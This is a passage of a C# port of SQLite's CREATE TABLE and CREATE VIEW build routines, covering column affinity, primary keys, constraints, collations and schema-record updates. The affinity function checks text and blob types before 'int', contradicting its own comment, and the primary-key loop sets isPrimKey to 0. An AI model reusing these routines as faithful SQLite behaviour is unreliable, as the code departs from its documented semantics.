p.aCol, p.nCol + 8 );\n      }\n      p.aCol[p.nCol] = new Column();\n      pCol = p.aCol[p.nCol];\n      //memset(pCol, 0, sizeof(p.aCol[0]));\n      pCol.zName = z;\n\n      /* If there is no type specified, columns have the default affinity\n      ** 'NONE'. If there is a type specified, then sqlite3AddColumnType() will\n      ** be called next to set pCol.affinity correctly.\n      */\n      pCol.affinity = SQLITE_AFF_NONE;\n      p.nCol++;\n    }\n\n    /*\n    ** This routine is called by the parser while in the middle of\n    ** parsing a CREATE TABLE statement.  A \"NOT NULL\" constraint has\n    ** been seen on a column.  This routine sets the notNull flag on\n    ** the column currently under construction.\n    */\n    static void sqlite3AddNotNull( Parse pParse, int onError )\n    {\n      Table p;\n      p = pParse.pNewTable;\n      if ( p == null || NEVER( p.nCol < 1 ) ) return;\n      p.aCol[p.nCol - 1].notNull = (u8)onError;\n    }\n\n    /*\n    ** Scan the column type name zType (length nType) and return the\n    ** associated affinity type.\n    **\n    ** This routine does a case-independent search of zType for the\n    ** substrings in the following table. If one of the substrings is\n    ** found, the corresponding affinity is returned. If zType contains\n    ** more than one of the substrings, entries toward the top of\n    ** the table take priority. For example, if zType is 'BLOBINT',\n    ** SQLITE_AFF_INTEGER is returned.\n    **\n    ** Substring     | Affinity\n    ** --------------------------------\n    ** 'INT'         | SQLITE_AFF_INTEGER\n    ** 'CHAR'        | SQLITE_AFF_TEXT\n    ** 'CLOB'        | SQLITE_AFF_TEXT\n    ** 'TEXT'        | SQLITE_AFF_TEXT\n    ** 'BLOB'        | SQLITE_AFF_NONE\n    ** 'REAL'        | SQLITE_AFF_REAL\n    ** 'FLOA'        | SQLITE_AFF_REAL\n    ** 'DOUB'        | SQLITE_AFF_REAL\n    **\n    ** If none of the substrings in the above table are found,\n    ** SQLITE_AFF_NUMERIC is returned.\n    */\n    static char sqlite3AffinityType( string zIn )\n    {\n      //u32 h = 0;\n      //char aff = SQLITE_AFF_NUMERIC;\n      zIn = zIn.ToLower();\n      if ( zIn.Contains( \"char\" ) || zIn.Contains( \"clob\" ) || zIn.Contains( \"text\" ) ) return SQLITE_AFF_TEXT;\n      if ( zIn.Contains( \"blob\" ) ) return SQLITE_AFF_NONE;\n      if ( zIn.Contains( \"doub\" ) || zIn.Contains( \"floa\" ) || zIn.Contains( \"real\" ) ) return SQLITE_AFF_REAL;\n      if ( zIn.Contains( \"int\" ) ) return SQLITE_AFF_INTEGER;\n      return SQLITE_AFF_NUMERIC;\n      //      string zEnd = pType.z.Substring(pType.n);\n\n      //      while( zIn!=zEnd ){\n      //        h = (h<<8) + sqlite3UpperToLower[*zIn];\n      //        zIn++;\n      //        if( h==(('c'<<24)+('h'<<16)+('a'<<8)+'r') ){             /* CHAR */\n      //          aff = SQLITE_AFF_TEXT;\n      //        }else if( h==(('c'<<24)+('l'<<16)+('o'<<8)+'b') ){       /* CLOB */\n      //          aff = SQLITE_AFF_TEXT;\n      //        }else if( h==(('t'<<24)+('e'<<16)+('x'<<8)+'t') ){       /* TEXT */\n      //          aff = SQLITE_AFF_TEXT;\n      //        }else if( h==(('b'<<24)+('l'<<16)+('o'<<8)+'b')          /* BLOB */\n      //            && (aff==SQLITE_AFF_NUMERIC || aff==SQLITE_AFF_REAL) ){\n      //          aff = SQLITE_AFF_NONE;\n      //#if !SQLITE_OMIT_FLOATING_POINT\n      //        }else if( h==(('r'<<24)+('e'<<16)+('a'<<8)+'l')          /* REAL */\n      //            && aff==SQLITE_AFF_NUMERIC ){\n      //          aff = SQLITE_AFF_REAL;\n      //        }else if( h==(('f'<<24)+('l'<<16)+('o'<<8)+'a')          /* FLOA */\n      //            && aff==SQLITE_AFF_NUMERIC ){\n      //          aff = SQLITE_AFF_REAL;\n      //        }else if( h==(('d'<<24)+('o'<<16)+('u'<<8)+'b')          /* DOUB */\n      //            && aff==SQLITE_AFF_NUMERIC ){\n      //          aff = SQLITE_AFF_REAL;\n      //#endif\n      //        }else if( (h&0x00FFFFFF)==(('i'<<16)+('n'<<8)+'t') ){    /* INT */\n      //          aff = SQLITE_AFF_INTEGER;\n      //          break;\n      //        }\n      //      }\n\n      //      return aff;\n    }\n\n    /*\n    ** This routine is called by the parser while in the middle of\n    ** parsing a CREATE TABLE statement.  The pFirst token is the first\n    ** token in the sequence of tokens that describe the type of the\n    ** column currently under construction.   pLast is the last token\n    ** in the sequence.  Use this information to construct a string\n    ** that contains the typename of the column and store that string\n    ** in zType.\n    */\n    static void sqlite3AddColumnType( Parse pParse, Token pType )\n    {\n      Table p;\n      Column pCol;\n\n      p = pParse.pNewTable;\n      if ( p == null || NEVER( p.nCol < 1 ) ) return;\n      pCol = p.aCol[p.nCol - 1];\n      Debug.Assert( pCol.zType == null );\n      pCol.zType = sqlite3NameFromToken( pParse.db, pType );\n      pCol.affinity = sqlite3AffinityType( pCol.zType );\n    }\n\n\n    /*\n    ** The expression is the default value for the most recently added column\n    ** of the table currently under construction.\n    **\n    ** Default value expressions must be constant.  Raise an exception if this\n    ** is not the case.\n    **\n    ** This routine is called by the parser while in the middle of\n    ** parsing a CREATE TABLE statement.\n    */\n    static void sqlite3AddDefaultValue( Parse pParse, ExprSpan pSpan )\n    {\n      Table p;\n      Column pCol;\n      sqlite3 db = pParse.db;\n      p = pParse.pNewTable;\n      if ( p != null )\n      {\n        pCol = ( p.aCol[p.nCol - 1] );\n        if ( sqlite3ExprIsConstantOrFunction( pSpan.pExpr ) == 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"default value of column [%s] is not constant\",\n          pCol.zName );\n        }\n        else\n        {\n          /* A copy of pExpr is used instead of the original, as pExpr contains\n          ** tokens that point to volatile memory. The 'span' of the expression\n          ** is required by pragma table_info.\n          */\n          sqlite3ExprDelete( db, ref pCol.pDflt );\n          pCol.pDflt = sqlite3ExprDup( db, pSpan.pExpr, EXPRDUP_REDUCE );\n          //sqlite3DbFree( db, pCol.zDflt );\n          pCol.zDflt = pSpan.zStart.Substring( 0, pSpan.zStart.Length - pSpan.zEnd.Length );\n          //sqlite3DbStrNDup( db, pSpan.zStart,\n          //                               (int)( pSpan.zEnd.Length - pSpan.zStart.Length ) );\n        }\n      }\n      sqlite3ExprDelete( db, ref pSpan.pExpr );\n    }\n\n    /*\n    ** Designate the PRIMARY KEY for the table.  pList is a list of names\n    ** of columns that form the primary key.  If pList is NULL, then the\n    ** most recently added column of the table is the primary key.\n    **\n    ** A table can have at most one primary key.  If the table already has\n    ** a primary key (and this is the second primary key) then create an\n    ** error.\n    **\n    ** If the PRIMARY KEY is on a single column whose datatype is INTEGER,\n    ** then we will try to use that column as the rowid.  Set the Table.iPKey\n    ** field of the table under construction to be the index of the\n    ** INTEGER PRIMARY KEY column.  Table.iPKey is set to -1 if there is\n    ** no INTEGER PRIMARY KEY.\n    **\n    ** If the key is not an INTEGER PRIMARY KEY, then create a unique\n    ** index for the key.  No index is created for INTEGER PRIMARY KEYs.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3AddPrimaryKey( Parse pParse, int null_2, int onError, int autoInc, int sortOrder )\n    { sqlite3AddPrimaryKey( pParse, null, onError, autoInc, sortOrder ); }\n    static void sqlite3AddPrimaryKey(\n    Parse pParse,    /* Parsing context */\n    ExprList pList,  /* List of field names to be indexed */\n    int onError,     /* What to do with a uniqueness conflict */\n    int autoInc,    /* True if the AUTOINCREMENT keyword is present */\n    int sortOrder   /* SQLITE_SO_ASC or SQLITE_SO_DESC */\n    )\n    {\n      Table pTab = pParse.pNewTable;\n      string zType = null;\n      int iCol = -1, i;\n      if ( pTab == null || IN_DECLARE_VTAB ) goto primary_key_exit;\n      if ( ( pTab.tabFlags & TF_HasPrimaryKey ) != 0 )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"table \\\"%s\\\" has more than one primary key\", pTab.zName );\n        goto primary_key_exit;\n      }\n      pTab.tabFlags |= TF_HasPrimaryKey;\n      if ( pList == null )\n      {\n        iCol = pTab.nCol - 1;\n        pTab.aCol[iCol].isPrimKey = 1;\n      }\n      else\n      {\n        for ( i = 0 ; i < pList.nExpr ; i++ )\n        {\n          for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ )\n          {\n            if ( sqlite3StrICmp( pList.a[i].zName, pTab.aCol[iCol].zName ) == 0 )\n            {\n              break;\n            }\n          }\n          if ( iCol < pTab.nCol )\n          {\n            pTab.aCol[iCol].isPrimKey = 0;\n          }\n        }\n        if ( pList.nExpr > 1 ) iCol = -1;\n      }\n      if ( iCol >= 0 && iCol < pTab.nCol )\n      {\n        zType = pTab.aCol[iCol].zType;\n      }\n      if ( zType != null && sqlite3StrICmp( zType, \"INTEGER\" ) == 0\n      && sortOrder == SQLITE_SO_ASC )\n      {\n        pTab.iPKey = iCol;\n        pTab.keyConf = (byte)onError;\n        Debug.Assert( autoInc == 0 || autoInc == 1 );\n        pTab.tabFlags |= (u8)( autoInc * TF_Autoincrement );\n      }\n      else if ( autoInc != 0 )\n      {\n#if !SQLITE_OMIT_AUTOINCREMENT\n        sqlite3ErrorMsg( pParse, \"AUTOINCREMENT is only allowed on an \" +\n        \"INTEGER PRIMARY KEY\" );\n#endif\n      }\n      else\n      {\n        sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, 0 );\n        pList = null;\n      }\n\nprimary_key_exit:\n      sqlite3ExprListDelete( pParse.db, ref pList );\n      return;\n    }\n\n    /*\n    ** Add a new CHECK constraint to the table currently under construction.\n    */\n    static void sqlite3AddCheckConstraint(\n    Parse pParse,    /* Parsing context */\n    Expr pCheckExpr  /* The check expression */\n    )\n    {\n      sqlite3 db = pParse.db;\n#if !SQLITE_OMIT_CHECK\n      Table pTab = pParse.pNewTable;\n      if ( pTab != null && !IN_DECLARE_VTAB )\n      {\n        pTab.pCheck = sqlite3ExprAnd( db, pTab.pCheck, pCheckExpr );\n      }\n      else\n#endif\n      {\n        sqlite3ExprDelete( db, ref pCheckExpr );\n      }\n    }\n    /*\n    ** Set the collation function of the most recently parsed table column\n    ** to the CollSeq given.\n    */\n    static void sqlite3AddCollateType( Parse pParse, Token pToken )\n    {\n      Table p;\n      int i;\n      string zColl;              /* Dequoted name of collation sequence */\n      sqlite3 db;\n\n      if ( ( p = pParse.pNewTable ) == null ) return;\n      i = p.nCol - 1;\n      db = p.dbMem;\n      zColl = sqlite3NameFromToken( db, pToken );\n      if ( zColl == null ) return;\n\n      if ( sqlite3LocateCollSeq( pParse, zColl ) != null )\n      {\n        Index pIdx;\n        p.aCol[i].zColl = zColl;\n\n        /* If the column is declared as \"<name> PRIMARY KEY COLLATE <type>\",\n        ** then an index may have been created on this column before the\n        ** collation type was added. Correct this if it is the case.\n        */\n        for ( pIdx = p.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n        {\n          Debug.Assert( pIdx.nColumn == 1 );\n          if ( pIdx.aiColumn[0] == i )\n          {\n            pIdx.azColl[0] = p.aCol[i].zColl;\n          }\n        }\n      }\n      else\n      {\n        //sqlite3DbFree( db, ref zColl );\n      }\n    }\n\n    /*\n    ** This function returns the collation sequence for database native text\n    ** encoding identified by the string zName, length nName.\n    **\n    ** If the requested collation sequence is not available, or not available\n    ** in the database native encoding, the collation factory is invoked to\n    ** request it. If the collation factory does not supply such a sequence,\n    ** and the sequence is available in another text encoding, then that is\n    ** returned instead.\n    **\n    ** If no versions of the requested collations sequence are available, or\n    ** another error occurs, NULL is returned and an error message written into\n    ** pParse.\n    **\n    ** This routine is a wrapper around sqlite3FindCollSeq().  This routine\n    ** invokes the collation factory if the named collation cannot be found\n    ** and generates an error message.\n    **\n    ** See also: sqlite3FindCollSeq(), sqlite3GetCollSeq()\n    */\n    static CollSeq sqlite3LocateCollSeq( Parse pParse, string zName )\n    {\n      sqlite3 db = pParse.db;\n      u8 enc = db.aDb[0].pSchema.enc;// ENC(db);\n      u8 initbusy = db.init.busy;\n      CollSeq pColl;\n\n      pColl = sqlite3FindCollSeq( db, enc, zName, initbusy );\n      if ( 0 == initbusy && ( pColl == null || pColl.xCmp == null ) )\n      {\n        pColl = sqlite3GetCollSeq( db, pColl, zName );\n        if ( pColl == null )\n        {\n          sqlite3ErrorMsg( pParse, \"no such collation sequence: %s\", zName );\n        }\n      }\n\n      return pColl;\n    }\n\n\n    /*\n    ** Generate code that will increment the schema cookie.\n    **\n    ** The schema cookie is used to determine when the schema for the\n    ** database changes.  After each schema change, the cookie value\n    ** changes.  When a process first reads the schema it records the\n    ** cookie.  Thereafter, whenever it goes to access the database,\n    ** it checks the cookie to make sure the schema has not changed\n    ** since it was last read.\n    **\n    ** This plan is not completely bullet-proof.  It is possible for\n    ** the schema to change multiple times and for the cookie to be\n    ** set back to prior value.  But schema changes are infrequent\n    ** and the probability of hitting the same cookie value is only\n    ** 1 chance in 2^32.  So we're safe enough.\n    */\n    static void sqlite3ChangeCookie( Parse pParse, int iDb )\n    {\n      int r1 = sqlite3GetTempReg( pParse );\n      sqlite3 db = pParse.db;\n      Vdbe v = pParse.pVdbe;\n      sqlite3VdbeAddOp2( v, OP_Integer, db.aDb[iDb].pSchema.schema_cookie + 1, r1 );\n      sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_SCHEMA_VERSION, r1 );\n      sqlite3ReleaseTempReg( pParse, r1 );\n    }\n\n    /*\n    ** Measure the number of characters needed to output the given\n    ** identifier.  The number returned includes any quotes used\n    ** but does not include the null terminator.\n    **\n    ** The estimate is conservative.  It might be larger that what is\n    ** really needed.\n    */\n    static int identLength( string z )\n    {\n      int n;\n      for ( n = 0 ; n < z.Length ; n++ )\n      {\n        if ( z[n] == (byte)'\"' ) { n++; }\n      }\n      return n + 2;\n    }\n\n\n    /*\n    ** The first parameter is a pointer to an output buffer. The second\n    ** parameter is a pointer to an integer that contains the offset at\n    ** which to write into the output buffer. This function copies the\n    ** nul-terminated string pointed to by the third parameter, zSignedIdent,\n    ** to the specified offset in the buffer and updates *pIdx to refer\n    ** to the first byte after the last byte written before returning.\n    **\n    ** If the string zSignedIdent consists entirely of alpha-numeric\n    ** characters, does not begin with a digit and is not an SQL keyword,\n    ** then it is copied to the output buffer exactly as it is. Otherwise,\n    ** it is quoted using double-quotes.\n    */\n    static void identPut( StringBuilder z, ref int pIdx, string zSignedIdent )\n    {\n      string zIdent = zSignedIdent;\n      int i; int j; bool needQuote;\n      i = pIdx;\n      for ( j = 0 ; j < zIdent.Length ; j++ )\n      {\n        if ( !sqlite3Isalnum( zIdent[j] ) && zIdent[j] != '_' ) break;\n      }\n      needQuote = sqlite3Isdigit( zIdent[0] ) || sqlite3KeywordCode( zIdent, j ) != TK_ID;\n      if ( !needQuote )\n      {\n        needQuote = ( j < zIdent.Length && zIdent[j] != 0 );\n      }\n      if ( needQuote ) { if ( i == z.Length ) z.Append( '\\0' ); z[i++] = '\"'; }\n      for ( j = 0 ; j < zIdent.Length ; j++ )\n      {\n        if ( i == z.Length ) z.Append( '\\0' );\n        z[i++] = zIdent[j];\n        if ( zIdent[j] == '\"' ) { if ( i == z.Length ) z.Append( '\\0' ); z[i++] = '\"'; }\n      }\n      if ( needQuote ) { if ( i == z.Length ) z.Append( '\\0' ); z[i++] = '\"'; }\n      //z[i] = 0;\n      pIdx = i;\n    }\n\n    /*\n    ** Generate a CREATE TABLE statement appropriate for the given\n    ** table.  Memory to hold the text of the statement is obtained\n    ** from sqliteMalloc() and must be freed by the calling function.\n    */\n    static string createTableStmt( sqlite3 db, Table p )\n    {\n      int i, k, n;\n      StringBuilder zStmt;\n      string zSep; string zSep2; string zEnd;\n      Column pCol;\n      n = 0;\n      for ( i = 0 ; i < p.nCol ; i++ )\n      {//, pCol++){\n        pCol = p.aCol[i];\n        n += identLength( pCol.zName ) + 5;\n      }\n      n += identLength( p.zName );\n      if ( n < 50 )\n      {\n        zSep = \"\";\n        zSep2 = \",\";\n        zEnd = \")\";\n      }\n      else\n      {\n        zSep = \"\\n  \";\n        zSep2 = \",\\n  \";\n        zEnd = \"\\n)\";\n      }\n      n += 35 + 6 * p.nCol;\n      zStmt = new StringBuilder( n );\n      //zStmt = sqlite3Malloc( n );\n      //if( zStmt==0 ){\n      //  db.mallocFailed = 1;\n      //  return 0;\n      //}\n      //sqlite3_snprintf(n, zStmt,\"CREATE TABLE \");\n      zStmt.Append( \"CREATE TABLE \" );\n      k = sqlite3Strlen30( zStmt );\n      identPut( zStmt, ref k, p.zName );\n      zStmt.Append( '(' );//zStmt[k++] = '(';\n      for ( i = 0 ; i < p.nCol ; i++ )\n      {//, pCol++){\n        pCol = p.aCol[i];\n        string[] azType = new string[]  {\n/* SQLITE_AFF_TEXT    */ \" TEXT\",\n/* SQLITE_AFF_NONE    */ \"\",\n/* SQLITE_AFF_NUMERIC */ \" NUM\",\n/* SQLITE_AFF_INTEGER */ \" INT\",\n/* SQLITE_AFF_REAL    */ \" REAL\"\n};\n        int len;\n        string zType;\n\n        zStmt.Append( zSep );//  sqlite3_snprintf(n-k, zStmt[k], zSep);\n        k = sqlite3Strlen30( zStmt );//  k += strlen(zStmt[k]);\n        zSep = zSep2;\n        identPut( zStmt, ref k, pCol.zName );\n        Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT >= 0 );\n        Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT < azType.Length );//sizeof(azType)/sizeof(azType[0]) );\n        testcase( pCol.affinity == SQLITE_AFF_TEXT );\n        testcase( pCol.affinity == SQLITE_AFF_NONE );\n        testcase( pCol.affinity == SQLITE_AFF_NUMERIC );\n        testcase( pCol.affinity == SQLITE_AFF_INTEGER );\n        testcase( pCol.affinity == SQLITE_AFF_REAL );\n\n        zType = azType[pCol.affinity - SQLITE_AFF_TEXT];\n        len = sqlite3Strlen30( zType );\n        Debug.Assert( pCol.affinity == SQLITE_AFF_NONE\n        || pCol.affinity == sqlite3AffinityType( zType ) );\n        zStmt.Append( zType );// memcpy( &zStmt[k], zType, len );\n        k += len;\n        Debug.Assert( k <= n );\n      }\n      zStmt.Append( zEnd );//sqlite3_snprintf(n-k, zStmt[k], \"%s\", zEnd);\n      return zStmt.ToString();\n    }\n\n    /*\n    ** This routine is called to report the final \")\" that terminates\n    ** a CREATE TABLE statement.\n    **\n    ** The table structure that other action routines have been building\n    ** is added to the internal hash tables, assuming no errors have\n    ** occurred.\n    **\n    ** An entry for the table is made in the master table on disk, unless\n    ** this is a temporary table or db.init.busy==1.  When db.init.busy==1\n    ** it means we are reading the sqlite_master table because we just\n    ** connected to the database or because the sqlite_master table has\n    ** recently changed, so the entry for this table already exists in\n    ** the sqlite_master table.  We do not want to create it again.\n    **\n    ** If the pSelect argument is not NULL, it means that this routine\n    ** was called to create a table generated from a\n    ** \"CREATE TABLE ... AS SELECT ...\" statement.  The column names of\n    ** the new table will match the result set of the SELECT.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3EndTable( Parse pParse, Token pCons, Token pEnd, int null_4 )\n    { sqlite3EndTable( pParse, pCons, pEnd, null ); }\n    static void sqlite3EndTable( Parse pParse, int null_2, int null_3, Select pSelect )\n    { sqlite3EndTable( pParse, null, null, pSelect ); }\n\n    static void sqlite3EndTable(\n    Parse pParse,          /* Parse context */\n    Token pCons,           /* The ',' token after the last column defn. */\n    Token pEnd,            /* The final ')' token in the CREATE TABLE */\n    Select pSelect         /* Select from a \"CREATE ... AS SELECT\" */\n    )\n    {\n      Table p;\n      sqlite3 db = pParse.db;\n      int iDb;\n\n      if ( ( pEnd == null && pSelect == null ) /*|| db.mallocFailed != 0 */ )\n      {\n        return;\n      }\n      p = pParse.pNewTable;\n      if ( p == null ) return;\n\n      Debug.Assert( 0 == db.init.busy || pSelect == null );\n\n      iDb = sqlite3SchemaToIndex( db, p.pSchema );\n\n#if !SQLITE_OMIT_CHECK\n      /* Resolve names in all CHECK constraint expressions.\n*/\n      if ( p.pCheck != null )\n      {\n        SrcList sSrc;                   /* Fake SrcList for pParse.pNewTable */\n        NameContext sNC;                /* Name context for pParse.pNewTable */\n\n        sNC = new NameContext();// memset(sNC, 0, sizeof(sNC));\n        sSrc = new SrcList();// memset(sSrc, 0, sizeof(sSrc));\n        sSrc.nSrc = 1;\n        sSrc.a = new SrcList_item[1];\n        sSrc.a[0] = new SrcList_item();\n        sSrc.a[0].zName = p.zName;\n        sSrc.a[0].pTab = p;\n        sSrc.a[0].iCursor = -1;\n        sNC.pParse = pParse;\n        sNC.pSrcList = sSrc;\n        sNC.isCheck = 1;\n        if ( sqlite3ResolveExprNames( sNC, ref p.pCheck ) != 0 )\n        {\n          return;\n        }\n      }\n#endif // * !SQLITE_OMIT_CHECK) */\n\n      /* If the db.init.busy is 1 it means we are reading the SQL off the\n** \"sqlite_master\" or \"sqlite_temp_master\" table on the disk.\n** So do not write to the disk again.  Extract the root page number\n** for the table from the db.init.newTnum field.  (The page number\n** should have been put there by the sqliteOpenCb routine.)\n*/\n      if ( db.init.busy != 0 )\n      {\n        p.tnum = db.init.newTnum;\n      }\n\n      /* If not initializing, then create a record for the new table\n      ** in the SQLITE_MASTER table of the database.\n      **\n      ** If this is a TEMPORARY table, write the entry into the auxiliary\n      ** file instead of into the main database file.\n      */\n      if ( 0 == db.init.busy )\n      {\n        int n;\n        Vdbe v;\n        String zType = \"\";    /* \"view\" or \"table\" */\n        String zType2 = \"\";    /* \"VIEW\" or \"TABLE\" */\n        String zStmt = \"\";    /* Text of the CREATE TABLE or CREATE VIEW statement */\n\n        v = sqlite3GetVdbe( pParse );\n        if ( NEVER( v == null ) ) return;\n\n        sqlite3VdbeAddOp1( v, OP_Close, 0 );\n\n        /*\n        ** Initialize zType for the new view or table.\n        */\n        if ( p.pSelect == null )\n        {\n          /* A regular table */\n          zType = \"table\";\n          zType2 = \"TABLE\";\n#if !SQLITE_OMIT_VIEW\n        }\n        else\n        {\n          /* A view */\n          zType = \"view\";\n          zType2 = \"VIEW\";\n#endif\n        }\n\n        /* If this is a CREATE TABLE xx AS SELECT ..., execute the SELECT\n        ** statement to populate the new table. The root-page number for the\n        ** new table is in register pParse->regRoot.\n        **\n        ** Once the SELECT has been coded by sqlite3Select(), it is in a\n        ** suitable state to query for the column names and types to be used\n        ** by the new table.\n        **\n        ** A shared-cache write-lock is not required to write to the new table,\n        ** as a schema-lock must have already been obtained to create it. Since\n        ** a schema-lock excludes all other database users, the write-lock would\n        ** be redundant.\n        */\n        if ( pSelect != null )\n        {\n          SelectDest dest = new SelectDest();\n          Table pSelTab;\n\n          Debug.Assert( pParse.nTab == 1 );\n          sqlite3VdbeAddOp3( v, OP_OpenWrite, 1, pParse.regRoot, iDb );\n          sqlite3VdbeChangeP5( v, 1 );\n          pParse.nTab = 2;\n          sqlite3SelectDestInit( dest, SRT_Table, 1 );\n          sqlite3Select( pParse, pSelect, ref  dest );\n          sqlite3VdbeAddOp1( v, OP_Close, 1 );\n          if ( pParse.nErr == 0 )\n          {\n            pSelTab = sqlite3ResultSetOfSelect( pParse, pSelect );\n            if ( pSelTab == null ) return;\n            Debug.Assert( p.aCol == null );\n            p.nCol = pSelTab.nCol;\n            p.aCol = pSelTab.aCol;\n            pSelTab.nCol = 0;\n            pSelTab.aCol = null;\n            sqlite3DeleteTable( ref pSelTab );\n          }\n        }\n\n        /* Compute the complete text of the CREATE statement */\n        if ( pSelect != null )\n        {\n          zStmt = createTableStmt( db, p );\n        }\n        else\n        {\n          n = (int)( pParse.sNameToken.z.Length - pEnd.z.Length ) + 1;\n          zStmt = sqlite3MPrintf( db,\n          \"CREATE %s %.*s\", zType2, n, pParse.sNameToken.z\n          );\n        }\n\n        /* A slot for the record has already been allocated in the\n        ** SQLITE_MASTER table.  We just need to update that slot with all\n        ** the information we've collected.\n        */\n        sqlite3NestedParse( pParse,\n        \"UPDATE %Q.%s \" +\n        \"SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q \" +\n        \"WHERE rowid=#%d\",\n        db.aDb[iDb].zName, SCHEMA_TABLE( iDb ),\n        zType,\n        p.zName,\n        p.zName,\n        pParse.regRoot,\n        zStmt,\n        pParse.regRowid\n        );\n        //sqlite3DbFree( db, ref zStmt );\n        sqlite3ChangeCookie( pParse, iDb );\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n        /* Check to see if we need to create an sqlite_sequence table for\n** keeping track of autoincrement keys.\n*/\n        if ( ( p.tabFlags & TF_Autoincrement ) != 0 )\n        {\n          Db pDb = db.aDb[iDb];\n          if ( pDb.pSchema.pSeqTab == null )\n          {\n            sqlite3NestedParse( pParse,\n            \"CREATE TABLE %Q.sqlite_sequence(name,seq)\",\n            pDb.zName\n            );\n          }\n        }\n#endif\n\n        /* Reparse everything to update our internal data structures */\n        sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0,\n        sqlite3MPrintf( db, \"tbl_name='%q'\", p.zName ), P4_DYNAMIC );\n      }\n\n\n      /* Add the table to the in-memory representation of the database.\n      */\n      if ( db.init.busy != 0 )\n      {\n        Table pOld;\n        Schema pSchema = p.pSchema;\n        pOld = (Table)sqlite3HashInsert( ref pSchema.tblHash, p.zName,\n        sqlite3Strlen30( p.zName ), p );\n        if ( pOld != null )\n        {\n          Debug.Assert( p == pOld );  /* Malloc must have failed inside HashInsert() */\n  //        db.mallocFailed = 1;\n          return;\n        }\n        pParse.pNewTable = null;\n        db.nTable++;\n        db.flags |= SQLITE_InternChanges;\n\n#if !SQLITE_OMIT_ALTERTABLE\n        if ( p.pSelect == null )\n        {\n          string zName = pParse.sNameToken.z;\n          int nName;\n          Debug.Assert( pSelect == null && pCons != null && pEnd != null );\n          if ( pCons.z == null )\n          {\n            pCons = pEnd;\n          }\n          nName = zName.Length - pCons.z.Length;\n          p.addColOffset = 13 + nName; // sqlite3Utf8CharLen(zName, nName);\n        }\n#endif\n      }\n    }\n\n#if !SQLITE_OMIT_VIEW\n    /*\n** The parser calls this routine in order to create a new VIEW\n*/\n    static void sqlite3CreateView(\n    Parse pParse,     /* The parsing context */\n    Token pBegin,     /* The CREATE token that begins the statement */\n    Token pName1,     /* The token that holds the name of the view */\n    Token pName2,     /* The token that holds the name of the view */\n    Select pSelect,   /* A SELECT statement that will become the new view */\n    int isTemp,      /* TRUE for a TEMPORARY view */\n    int noErr         /* Suppress error messages if VIEW already exists */\n    )\n    {\n      Table p;\n      int n;\n      string z;//const char *z;\n      Token sEnd;\n      DbFixer sFix = new DbFixer();\n      Token pName = null;\n      int iDb;\n      sqlite3 db = pParse.db;\n\n      if ( pParse.nVar > 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"parameters are not allowed in views\" );\n        sqlite3SelectDelete( db, ref pSelect );\n        return;\n      }\n      sqlite3StartTable( pParse, pName1, pName2, isTemp, 1, 0, noErr );\n      p = pParse.pNewTable;\n      if ( p == null )\n      {\n        sqlite3SelectDelete( db, ref pSelect );\n        return;\n      }\n      Debug.Assert( pParse.nErr == 0 ); /* If sqlite3StartTable return non-NULL then\n** there could not have been an error */\n      sqlite3TwoPartName( pParse, pName1, pName2, ref pName );\n      iDb = sqlite3SchemaToIndex( db, p.pSchema );\n      if ( sqlite3FixInit( sFix, pParse, iDb, \"view\", pName ) != 0\n      && sqlite3FixSelect( sFix, pSelect ) != 0\n      )\n      {\n        sqlite3SelectDelete( db, ref pSelect );\n        return;\n      }\n\n      /* Make a copy of the entire SELECT statement that defines the view.\n      ** This will force all the Expr.token.z values to be dynamically\n      ** allocated rather than point to the input string - which means that\n      ** they will persist after the current sqlite3_exec() call returns.\n      */\n      p.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE );\n      sqlite3SelectDelete( db, ref pSelect );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  return;\n      //}\n      if ( 0 == db.init.busy )\n      {\n        sqlite3ViewGetColumnNames( pParse, p );\n      }\n\n      /* Locate the end of the CREATE VIEW statement.  Make sEnd point to\n      ** the end.\n      */\n      sEnd = pParse.sLastToken;\n      if ( ALWAYS( sEnd.z[0] != 0 ) && sEnd.z[0] != ';' )\n      {\n        sEnd.z = sEnd.z.Substring( sEnd.n );\n      }\n      sEnd.n = 0;\n      n = (int)( pBegin.z.Length - sEnd.z.Length );//sEnd.z - pBegin.z;\n      z = pBegin.z;\n      while ( ALWAYS( n > 0 ) && sqlite3Isspace( z[n - 1] ) ) { n--; }\n      sEnd.z = z.Substring( n - 1 );\n      sEnd.n = 1;\n\n      /* Use sqlite3EndTable() to add the view to the SQLITE_MASTER table */\n      sqlite3EndTable( pParse, null, sEnd, null );\n      return;\n    }\n#endif // * SQLITE_OMIT_VIEW */\n\n#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_VIRTUALTABLE\n    /*\n** The Table structure pTable is really a VIEW.  Fill in the names of\n** the columns of the view in the pTable structure.  Return the number\n** of errors.  If an error is seen leave an error message in pParse.zErrMsg.\n*/\n    static int sqlite3ViewGetColumnNames( Parse pParse, Table pTable )\n    {\n      Table pSelTab;    /* A fake table from which we get the result set */\n      Select pSel;      /* Copy of the SELECT that implements the view */\n      int nErr = 0;     /* Number of errors encountered */\n      int n;            /* Temporarily holds the number of cursors assigned */\n      sqlite3 db = pParse.db;  /* Database connection for malloc errors */\n      dxAuth xAuth;     //)(void*,int,const char*,const char*,const char*,const char*);\n\n      Debug.Assert( pTable != null );\n\n#if !SQLITE_OMIT_VIRTUALTABLE\nif ( sqlite3VtabCallConnect( pParse, pTable ) )\n{\nreturn SQLITE_ERROR;\n}\n#endif\n      if ( IsVirtual( pTable ) ) return 0;\n\n#if !SQLITE_OMIT_VIEW\n      /* A positive nCol means the columns names for this view are\n** already known.\n*/\n      if ( pTable.nCol > 0 ) return 0;\n\n      /* A negative nCol is a special marker meaning that we are currently\n      ** trying to compute the column names.  If we enter this routine with\n      ** a negative 